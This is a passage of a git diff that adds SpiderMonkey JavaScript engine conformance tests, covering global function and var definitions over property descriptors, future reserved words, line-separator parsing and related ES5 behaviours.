+ "over a non-configurable, non-enumerable, non-writable data" +
+ "property");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "global function definition, when that function would overwrite " +
+ "a non-configurable, non-enumerable, non-writable data property, " +
+ "must throw a TypeError per ES5+errata: " + e);
+ assertEq(data8, "data8");
+ assertEq(outer, undefined);
+ desc = Object.getOwnPropertyDescriptor(this, "data8");
+ assertEq(desc.configurable, false);
+ assertEq(desc.enumerable, false);
+ assertEq(desc.writable, false);
+ assertEq(desc.value, "data8");
+ }
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/misc/function-definition-evaluate.js b/js/src/tests/non262/misc/function-definition-evaluate.js
new file mode 100644
index 0000000000..4ed156b2a1
--- /dev/null
+++ b/js/src/tests/non262/misc/function-definition-evaluate.js
@@ -0,0 +1,344 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs evaluate()
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 577325;
+var summary = 'Implement the ES5 algorithm for processing function statements';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var outer, desc;
+
+///////////////////////////////////////////////////
+// Function definitions over accessor properties //
+///////////////////////////////////////////////////
+
+var getCalled, setCalled;
+
+// configurable properties get blown away
+
+getCalled = false, setCalled = false;
+Object.defineProperty(this, "acc1",
+ {
+ get: function() { getCalled = true; throw "FAIL get 1"; },
+ set: function(v) { setCalled = true; throw "FAIL set 1 " + v; },
+ configurable: true,
+ enumerable: false
+ });
+
+// does not throw
+outer = undefined;
+evaluate("function acc1() { throw 'FAIL redefined 1'; } outer = acc1;");
+assertEq(getCalled, false);
+assertEq(setCalled, false);
+assertEq(typeof acc1, "function");
+assertEq(acc1, outer);
+desc = Object.getOwnPropertyDescriptor(this, "acc1");
+assertEq(desc.value, acc1);
+assertEq(desc.writable, true);
+assertEq(desc.enumerable, true);
+assertEq(desc.configurable, false);
+
+
+getCalled = false, setCalled = false;
+Object.defineProperty(this, "acc2",
+ {
+ get: function() { getCalled = true; throw "FAIL get 2"; },
+ set: function(v) { setCalled = true; throw "FAIL set 2 " + v; },
+ configurable: true,
+ enumerable: true
+ });
+
+// does not throw
+outer = undefined;
+evaluate("function acc2() { throw 'FAIL redefined 2'; } outer = acc2;");
+assertEq(getCalled, false);
+assertEq(setCalled, false);
+assertEq(typeof acc2, "function");
+assertEq(acc2, outer);
+desc = Object.getOwnPropertyDescriptor(this, "acc2");
+assertEq(desc.value, acc2);
+assertEq(desc.writable, true);
+assertEq(desc.enumerable, true);
+assertEq(desc.configurable, false);
+
+
+// non-configurable properties produce a TypeError
+
+getCalled = false, setCalled = false;
+Object.defineProperty(this, "acc3",
+ {
+ get: function() { getCalled = true; throw "FAIL get 3"; },
+ set: function(v) { setCalled = true; throw "FAIL set 3 " + v; },
+ configurable: false,
+ enumerable: true
+ });
+
+outer = undefined;
+try
+{
+ evaluate("function acc3() { throw 'FAIL redefined 3'; }; outer = acc3");
+ throw new Error("should have thrown trying to redefine global function " +
+ "over a non-configurable, enumerable accessor");
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "global function definition, when that function would overwrite " +
+ "a non-configurable, enumerable accessor, must throw a TypeError " +
+ "per ES5+errata: " + e);
+ desc = Object.getOwnPropertyDescriptor(this, "acc3");
+ assertEq(typeof desc.get, "function");
+ assertEq(typeof desc.set, "function");
+ assertEq(desc.enumerable, true);
+ assertEq(desc.configurable, false);
+ assertEq(outer, undefined);
+ assertEq(getCalled, false);
+ assertEq(setCalled, false);
+}
+
+
+getCalled = false, setCalled = false;
+Object.defineProperty(this, "acc4",
+ {
+ get: function() { getCalled = true; throw "FAIL get 4"; },
+ set: function(v) { setCalled = true; throw "FAIL set 4 " + v; },
+ configurable: false,
+ enumerable: false
+ });
+
+outer = undefined;
+try
+{
+ evaluate("function acc4() { throw 'FAIL redefined 4'; }; outer = acc4");
+ throw new Error("should have thrown trying to redefine global function " +
+ "over a non-configurable, non-enumerable accessor");
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "global function definition, when that function would overwrite " +
+ "a non-configurable, non-enumerable accessor, must throw a " +
+ "TypeError per ES5+errata: " + e);
+ desc = Object.getOwnPropertyDescriptor(this, "acc4");
+ assertEq(typeof desc.get, "function");
+ assertEq(typeof desc.set, "function");
+ assertEq(desc.enumerable, false);
+ assertEq(desc.configurable, false);
+ assertEq(outer, undefined);
+ assertEq(getCalled, false);
+ assertEq(setCalled, false);
+}
+
+
+///////////////////////////////////////////////
+// Function definitions over data properties //
+///////////////////////////////////////////////
+
+
+// configurable properties, regardless of other attributes, get blown away
+
+Object.defineProperty(this, "data1",
+ {
+ configurable: true,
+ enumerable: true,
+ writable: true,
+ value: "data1"
+ });
+
+outer = undefined;
+evaluate("function data1() { return 'data1 function'; } outer = data1;");
+assertEq(typeof data1, "function");
+assertEq(data1, outer);
+desc = Object.getOwnPropertyDescriptor(this, "data1");
+assertEq(desc.configurable, false);
+assertEq(desc.enumerable, true);
+assertEq(desc.writable, true);
+assertEq(desc.value, data1);
+
+
+Object.defineProperty(this, "data2",
+ {
+ configurable: true,
+ enumerable: true,
+ writable: false,
+ value: "data2"
+ });
+
+outer = undefined;
+evaluate("function data2() { return 'data2 function'; } outer = data2;");
+assertEq(typeof data2, "function");
+assertEq(data2, outer);
+desc = Object.getOwnPropertyDescriptor(this, "data2");
+assertEq(desc.configurable, false);
+assertEq(desc.enumerable, true);
+assertEq(desc.writable, true);
+assertEq(desc.value, data2);
+
+
+Object.defineProperty(this, "data3",
+ {
+ configurable: true,
+ enumerable: false,
+ writable: true,
+ value: "data3"
+ });
+
+outer = undefined;
+evaluate("function data3() { return 'data3 function'; } outer = data3;");
+assertEq(typeof data3, "function");
+assertEq(data3, outer);
+desc = Object.getOwnPropertyDescriptor(this, "data3");
+assertEq(desc.configurable, false);
+assertEq(desc.enumerable, true);
+assertEq(desc.writable, true);
+assertEq(desc.value, data3);
+
+
+Object.defineProperty(this, "data4",
+ {
+ configurable: true,
+ enumerable: false,
+ writable: false,
+ value: "data4"
+ });
+
+outer = undefined;
+evaluate("function data4() { return 'data4 function'; } outer = data4;");
+assertEq(typeof data4, "function");
+assertEq(data4, outer);
+desc = Object.getOwnPropertyDescriptor(this, "data4");
+assertEq(desc.value, data4);
+assertEq(desc.writable, true);
+assertEq(desc.enumerable, true);
+assertEq(desc.configurable, false);
+
+
+// non-configurable data properties are trickier
+
+Object.defineProperty(this, "data5",
+ {
+ configurable: false,
+ enumerable: true,
+ writable: true,
+ value: "data5"
+ });
+
+outer = undefined;
+evaluate("function data5() { return 'data5 function'; } outer = data5;");
+assertEq(typeof data5, "function");
+assertEq(data5, outer);
+desc = Object.getOwnPropertyDescriptor(this, "data5");
+assertEq(desc.configurable, false);
+assertEq(desc.enumerable, true);
+assertEq(desc.writable, true);
+assertEq(desc.value, data5);
+
+
+Object.defineProperty(this, "data6",
+ {
+ configurable: false,
+ enumerable: true,
+ writable: false,
+ value: "data6"
+ });
+
+outer = undefined;
+try
+{
+ evaluate("function data6() { return 'data6 function'; } outer = data6;");
+ throw new Error("should have thrown trying to redefine global function " +
+ "over a non-configurable, enumerable, non-writable accessor");
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "global function definition, when that function would overwrite " +
+ "a non-configurable, enumerable, non-writable data property, must " +
+ "throw a TypeError per ES5+errata: " + e);
+ assertEq(data6, "data6");
+ assertEq(outer, undefined);
+ desc = Object.getOwnPropertyDescriptor(this, "data6");
+ assertEq(desc.configurable, false);
+ assertEq(desc.enumerable, true);
+ assertEq(desc.writable, false);
+ assertEq(desc.value, "data6");
+}
+
+
+Object.defineProperty(this, "data7",
+ {
+ configurable: false,
+ enumerable: false,
+ writable: true,
+ value: "data7"
+ });
+
+outer = undefined;
+try
+{
+ evaluate("function data7() { return 'data7 function'; } outer = data7;");
+ throw new Error("should have thrown trying to redefine global function " +
+ "over a non-configurable, non-enumerable, writable data" +
+ "property");
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "global function definition, when that function would overwrite " +
+ "a non-configurable, non-enumerable, writable data property, must " +
+ "throw a TypeError per ES5+errata: " + e);
+ assertEq(data7, "data7");
+ assertEq(outer, undefined);
+ desc = Object.getOwnPropertyDescriptor(this, "data7");
+ assertEq(desc.configurable, false);
+ assertEq(desc.enumerable, false);
+ assertEq(desc.writable, true);
+ assertEq(desc.value, "data7");
+}
+
+
+Object.defineProperty(this, "data8",
+ {
+ configurable: false,
+ enumerable: false,
+ writable: false,
+ value: "data8"
+ });
+
+outer = undefined;
+try
+{
+ evaluate("function data8() { return 'data8 function'; } outer = data8;");
+ throw new Error("should have thrown trying to redefine global function " +
+ "over a non-configurable, non-enumerable, non-writable data" +
+ "property");
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "global function definition, when that function would overwrite " +
+ "a non-configurable, non-enumerable, non-writable data property, " +
+ "must throw a TypeError per ES5+errata: " + e);
+ assertEq(data8, "data8");
+ assertEq(outer, undefined);
+ desc = Object.getOwnPropertyDescriptor(this, "data8");
+ assertEq(desc.configurable, false);
+ assertEq(desc.enumerable, false);
+ assertEq(desc.writable, false);
+ assertEq(desc.value, "data8");
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/misc/future-reserved-words.js b/js/src/tests/non262/misc/future-reserved-words.js
new file mode 100644
index 0000000000..43b1b2f607
--- /dev/null
+++ b/js/src/tests/non262/misc/future-reserved-words.js
@@ -0,0 +1,493 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 497869;
+var summary = "Implement FutureReservedWords per-spec";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var futureReservedWords =
+ [
+ "class",
+ // "const", // Mozilla extension enabled even for versionless code
+ "enum",
+ "export",
+ "extends",
+ "import",
+ "super",
+ ];
+
+var strictFutureReservedWords =
+ [
+ "implements",
+ "interface",
+ "let", // enabled: this file doesn't execute as JS1.7
+ "package",
+ "private",
+ "protected",
+ "public",
+ "static",
+ "yield", // enabled: this file doesn't execute as JS1.7
+ ];
+
+function testWord(word, expectNormal, expectStrict)
+{
+ var actual, status;
+
+ // USE AS LHS FOR ASSIGNMENT
+
+ actual = "";
+ status = summary + ": " + word + ": normal assignment";
+ try
+ {
+ eval(word + " = 'foo';");
+ actual = "no error";
+ }
+ catch(e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectNormal, status);
+
+ actual = "";
+ status = summary + ": " + word + ": strict assignment";
+ try
+ {
+ eval("'use strict'; " + word + " = 'foo';");
+ actual = "no error";
+ }
+ catch(e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectStrict, status);
+
+ // USE AS DESTRUCTURING SHORTHAND
+
+ actual = "";
+ status = summary + ": " + word + ": destructuring shorthand";
+ try
+ {
+ eval("({ " + word + " } = 'foo');");
+ actual = "no error";
+ }
+ catch(e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectNormal, status);
+
+ actual = "";
+ status = summary + ": " + word + ": strict destructuring shorthand";
+ try
+ {
+ eval("'use strict'; ({ " + word + " } = 'foo');");
+ actual = "no error";
+ }
+ catch(e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectStrict, status);
+
+ // USE IN VARIABLE DECLARATION
+
+ actual = "";
+ status = summary + ": " + word + ": normal var";
+ try
+ {
+ eval("var " + word + ";");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectNormal, status);
+
+ actual = "";
+ status = summary + ": " + word + ": strict var";
+ try
+ {
+ eval("'use strict'; var " + word + ";");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectStrict, status);
+
+ // USE IN FOR-IN VARIABLE DECLARATION
+
+ actual = "";
+ status = summary + ": " + word + ": normal for-in var";
+ try
+ {
+ eval("for (var " + word + " in {});");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectNormal, status);
+
+ actual = "";
+ status = summary + ": " + word + ": strict for-in var";
+ try
+ {
+ eval("'use strict'; for (var " + word + " in {});");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectStrict, status);
+
+ // USE AS CATCH IDENTIFIER
+
+ actual = "";
+ status = summary + ": " + word + ": normal var";
+ try
+ {
+ eval("try { } catch (" + word + ") { }");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectNormal, status);
+
+ actual = "";
+ status = summary + ": " + word + ": strict var";
+ try
+ {
+ eval("'use strict'; try { } catch (" + word + ") { }");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectStrict, status);
+
+ // USE AS LABEL
+
+ actual = "";
+ status = summary + ": " + word + ": normal label";
+ try
+ {
+ eval(word + ": while (false);");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectNormal, status);
+
+ actual = "";
+ status = summary + ": " + word + ": strict label";
+ try
+ {
+ eval("'use strict'; " + word + ": while (false);");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectStrict, status);
+
+ // USE AS ARGUMENT NAME IN FUNCTION DECLARATION
+
+ actual = "";
+ status = summary + ": " + word + ": normal function argument";
+ try
+ {
+ eval("function foo(" + word + ") { }");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectNormal, status);
+
+ actual = "";
+ status = summary + ": " + word + ": strict function argument";
+ try
+ {
+ eval("'use strict'; function foo(" + word + ") { }");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectStrict, status);
+
+ actual = "";
+ status = summary + ": " + word + ": function argument retroactively strict";
+ try
+ {
+ eval("function foo(" + word + ") { 'use strict'; }");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectStrict, status);
+
+ // USE AS ARGUMENT NAME IN FUNCTION EXPRESSION
+
+ actual = "";
+ status = summary + ": " + word + ": normal function expression argument";
+ try
+ {
+ eval("var s = (function foo(" + word + ") { });");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectNormal, status);
+
+ actual = "";
+ status = summary + ": " + word + ": strict function expression argument";
+ try
+ {
+ eval("'use strict'; var s = (function foo(" + word + ") { });");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectStrict, status);
+
+ actual = "";
+ status = summary + ": " + word + ": function expression argument retroactively strict";
+ try
+ {
+ eval("var s = (function foo(" + word + ") { 'use strict'; });");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectStrict, status);
+
+ // USE AS ARGUMENT NAME WITH FUNCTION CONSTRUCTOR
+
+ actual = "";
+ status = summary + ": " + word + ": argument with normal Function";
+ try
+ {
+ Function(word, "return 17");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectNormal, status);
+
+ actual = "";
+ status = summary + ": " + word + ": argument with strict Function";
+ try
+ {
+ Function(word, "'use strict'; return 17");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectStrict, status);
+
+ // USE AS ARGUMENT NAME IN PROPERTY SETTER
+
+ actual = "";
+ status = summary + ": " + word + ": normal property setter argument";
+ try
+ {
+ eval("var o = { set x(" + word + ") { } };");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectNormal, status);
+
+ actual = "";
+ status = summary + ": " + word + ": strict property setter argument";
+ try
+ {
+ eval("'use strict'; var o = { set x(" + word + ") { } };");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectStrict, status);
+
+ actual = "";
+ status = summary + ": " + word + ": property setter argument retroactively strict";
+ try
+ {
+ eval("var o = { set x(" + word + ") { 'use strict'; } };");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectStrict, status);
+
+ // USE AS FUNCTION NAME IN FUNCTION DECLARATION
+
+ actual = "";
+ status = summary + ": " + word + ": normal function name";
+ try
+ {
+ eval("function " + word + "() { }");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectNormal, status);
+
+ actual = "";
+ status = summary + ": " + word + ": strict function name";
+ try
+ {
+ eval("'use strict'; function " + word + "() { }");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectStrict, status);
+
+ actual = "";
+ status = summary + ": " + word + ": function name retroactively strict";
+ try
+ {
+ eval("function " + word + "() { 'use strict'; }");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectStrict, status);
+
+ // USE AS FUNCTION NAME IN FUNCTION EXPRESSION
+
+ actual = "";
+ status = summary + ": " + word + ": normal function expression name";
+ try
+ {
+ eval("var s = (function " + word + "() { });");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectNormal, status);
+
+ actual = "";
+ status = summary + ": " + word + ": strict function expression name";
+ try
+ {
+ eval("'use strict'; var s = (function " + word + "() { });");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectStrict, status);
+
+ actual = "";
+ status = summary + ": " + word + ": function expression name retroactively strict";
+ try
+ {
+ eval("var s = (function " + word + "() { 'use strict'; });");
+ actual = "no error";
+ }
+ catch (e)
+ {
+ actual = e.name;
+ status += ", " + e.name + ": " + e.message + " ";
+ }
+ assertEq(actual, expectStrict, status);
+}
+
+function testFutureReservedWord(word)
+{
+ testWord(word, "SyntaxError", "SyntaxError");
+}
+
+function testStrictFutureReservedWord(word)
+{
+ testWord(word, "no error", "SyntaxError");
+}
+
+futureReservedWords.forEach(testFutureReservedWord);
+strictFutureReservedWords.forEach(testStrictFutureReservedWord);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/misc/getter-setter-outerize-this.js b/js/src/tests/non262/misc/getter-setter-outerize-this.js
new file mode 100644
index 0000000000..46c61b889a
--- /dev/null
+++ b/js/src/tests/non262/misc/getter-setter-outerize-this.js
@@ -0,0 +1,21 @@
+if (typeof window === "undefined") {
+ // This test is meant to run in the browser, but it's easy to
+ // run it in the shell as well, even though it has no inner/outer
+ // windows.
+ window = this;
+}
+
+var res = false;
+Object.defineProperty(this, "foo", {configurable: true,
+ get: function() { return this === window; },
+ set: function(v) { res = this === window; }});
+
+(function() {
+ for (var i = 0; i < 3000; ++i) {
+ window.foo = i;
+ assertEq(res, true, "setter");
+ assertEq(window.foo, true, "getter");
+ }
+})();
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/misc/global-numeric-properties.js b/js/src/tests/non262/misc/global-numeric-properties.js
new file mode 100644
index 0000000000..352c0d3b75
--- /dev/null
+++ b/js/src/tests/non262/misc/global-numeric-properties.js
@@ -0,0 +1,59 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 537863;
+var summary =
+ 'undefined, Infinity, and NaN global properties should not be writable';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var desc, old, error;
+var global = this;
+
+var names = ["NaN", "Infinity", "undefined"];
+
+for (var i = 0; i < names.length; i++)
+{
+ var name = names[i];
+ desc = Object.getOwnPropertyDescriptor(global, name);
+ assertEq(desc !== undefined, true, name + " should be present");
+ assertEq(desc.enumerable, false, name + " should not be enumerable");
+ assertEq(desc.configurable, false, name + " should not be configurable");
+ assertEq(desc.writable, false, name + " should not be writable");
+
+ old = global[name];
+ global[name] = 17;
+ assertEq(global[name], old, name + " changed on setting?");
+
+ error = "before";
+ try
+ {
+ throw new TypeError("SpiderMonkey doesn't currently implement " +
+ "strict-mode throwing when setting a readonly " +
+ "property, not running this bit of test for now; " +
+ "see bug 537873");
+
+ (function() { "use strict"; global[name] = 42; error = "didn't throw"; })();
+ }
+ catch (e)
+ {
+ if (e instanceof TypeError)
+ error = "typeerror";
+ else
+ error = "bad exception: " + e;
+ }
+ assertEq(error, "typeerror", "wrong strict mode error setting " + name);
+}
+
+/******************************************************************************/
+
+reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/misc/line-paragraph-separator-parse-as-lineterminator.js b/js/src/tests/non262/misc/line-paragraph-separator-parse-as-lineterminator.js
new file mode 100644
index 0000000000..8eef6d6581
--- /dev/null
+++ b/js/src/tests/non262/misc/line-paragraph-separator-parse-as-lineterminator.js
@@ -0,0 +1,51 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 663331;
+var summary =
+ "U+2028 LINE SEPARATOR and U+2029 PARAGRAPH SEPARATOR must match the " +
+ "LineTerminator production when parsing code";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var hidden = 17;
+var assigned;
+
+assigned = 42;
+assertEq(eval('"use strict"; var hidden\u2028assigned = 5; typeof hidden'),
+ "undefined");
+assertEq(assigned, 5);
+
+assigned = 42;
+function t1()
+{
+ assertEq(eval('var hidden\u2028assigned = 5; typeof hidden'), "undefined");
+ assertEq(assigned, 5);
+}
+t1();
+
+assigned = 42;
+assertEq(eval('"use strict"; var hidden\u2029assigned = 5; typeof hidden'),
+ "undefined");
+assertEq(assigned, 5);
+
+assigned = 42;
+function t2()
+{
+ assertEq(eval('var hidden\u2029assigned = 5; typeof hidden'), "undefined");
+ assertEq(assigned, 5);
+}
+t2();
+
+/******************************************************************************/
+
+reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/misc/new-with-non-constructor.js b/js/src/tests/non262/misc/new-with-non-constructor.js
new file mode 100644
index 0000000000..edec0e31db
--- /dev/null
+++ b/js/src/tests/non262/misc/new-with-non-constructor.js
@@ -0,0 +1,32 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function checkConstruct(thing) {
+ try {
+ new thing();
+ assertEq(0, 1, "not reached " + thing);
+ } catch (e) {
+ assertEq(e.message.includes(" is not a constructor") ||
+ e.message === "Function.prototype.toString called on incompatible object", true);
+ }
+}
+
+var re = /aaa/
+checkConstruct(re);
+
+var boundFunctionPrototype = Function.prototype.bind();
+checkConstruct(boundFunctionPrototype);
+
+var boundBuiltin = Math.sin.bind();
+checkConstruct(boundBuiltin);
+
+var proxiedFunctionPrototype = new Proxy(Function.prototype, {});
+checkConstruct(proxiedFunctionPrototype);
+
+var proxiedBuiltin = new Proxy(parseInt, {});
+checkConstruct(proxiedBuiltin);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/misc/redeclare-var-non-writable-property.js b/js/src/tests/non262/misc/redeclare-var-non-writable-property.js
new file mode 100644
index 0000000000..f21289d853
--- /dev/null
+++ b/js/src/tests/non262/misc/redeclare-var-non-writable-property.js
@@ -0,0 +1,24 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 539488;
+var summary =
+ '|var| statements for existing, read-only/permanent properties should not ' +
+ 'be errors';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var undefined;
+
+/******************************************************************************/
+
+reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/misc/regexp-functions-with-undefined.js b/js/src/tests/non262/misc/regexp-functions-with-undefined.js
new file mode 100644
index 0000000000..e55b2acd07
--- /dev/null
+++ b/js/src/tests/non262/misc/regexp-functions-with-undefined.js
@@ -0,0 +1,43 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var a = /undefined/.exec();
+assertEq(a[0], 'undefined');
+assertEq(a.length, 1);
+
+a = /undefined/.exec(undefined);
+assertEq(a[0], 'undefined');
+assertEq(a.length, 1);
+
+assertEq(/undefined/.test(), true);
+assertEq(/undefined/.test(undefined), true);
+
+assertEq(/aaaa/.exec(), null);
+assertEq(/aaaa/.exec(undefined), null);
+
+assertEq(/aaaa/.test(), false);
+assertEq(/aaaa/.test(undefined), false);
+
+
+assertEq("undefined".search(), 0);
+assertEq("undefined".search(undefined), 0);
+assertEq("aaaa".search(), 0);
+assertEq("aaaa".search(undefined), 0);
+
+a = "undefined".match();
+assertEq(a[0], "");
+assertEq(a.length, 1);
+a = "undefined".match(undefined);
+assertEq(a[0], "");
+assertEq(a.length, 1);
+a = "aaaa".match();
+assertEq(a[0], "");
+assertEq(a.length, 1);
+a = "aaaa".match(undefined);
+assertEq(a[0], "");
+assertEq(a.length, 1);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/misc/regress-bug632003.js b/js/src/tests/non262/misc/regress-bug632003.js
new file mode 100644
index 0000000000..c299f6dc42
--- /dev/null
+++ b/js/src/tests/non262/misc/regress-bug632003.js
@@ -0,0 +1,63 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ */
+var BUGNUMBER = 632003;
+var summary = 'The var statement should add the property to the global if it exists on the prototype';
+
+// Define properties on Object.prototype with various attributes and
+// value-getter-setter combinations then check that a var statement
+// can always define a variable with the same name in the global object.
+
+if (typeof evaluate != "undefined") {
+ var global_case = def_all("global_case");
+ evaluate(global_case.source);
+ check_values(this, global_case.var_list);
+}
+
+var eval_case = def_all("eval_case");
+eval(eval_case.source);
+check_values(this, eval_case.var_list);
+
+function def_all(prefix)
+{
+ var builder, index, i, j;
+
+ builder = {source: "", var_list: []};
+ index = 0;
+ for (i = 0; i <= 1; ++i) {
+ for (j = 0; j <= 1; ++j) {
+ def({value: index});
+ def({value: index, writable: true});
+ def({get: Function("return "+index+";")});
+ def({set: function() { }});
+ def({get: Function("return "+index+";"), set: function() { }});
+ }
+ }
+ return builder;
+
+ function def(descriptor_seed)
+ {
+ var var_name = prefix + index;
+ descriptor_seed.configurable = !!i;
+ descriptor_seed.enumerable = !!j;
+ Object.defineProperty(Object.prototype, var_name, descriptor_seed);
+ var var_value = index + 0.5;
+ builder.source += "var "+var_name+" = "+var_value+";\n";
+ builder.var_list.push({name: var_name, expected_value: var_value});
+ ++index;
+ }
+}
+
+function check_values(obj, var_list)
+{
+ for (i = 0; i != var_list.length; ++i) {
+ var name = var_list[i].name;
+ assertEq(obj.hasOwnProperty(name), true);
+ assertEq(obj[name], var_list[i].expected_value);
+ }
+}
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/misc/shell.js b/js/src/tests/non262/misc/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/misc/shell.js
diff --git a/js/src/tests/non262/misc/syntax-error-end-of-for-head-part.js b/js/src/tests/non262/misc/syntax-error-end-of-for-head-part.js
new file mode 100644
index 0000000000..f715b3e17e
--- /dev/null
+++ b/js/src/tests/non262/misc/syntax-error-end-of-for-head-part.js
@@ -0,0 +1,51 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
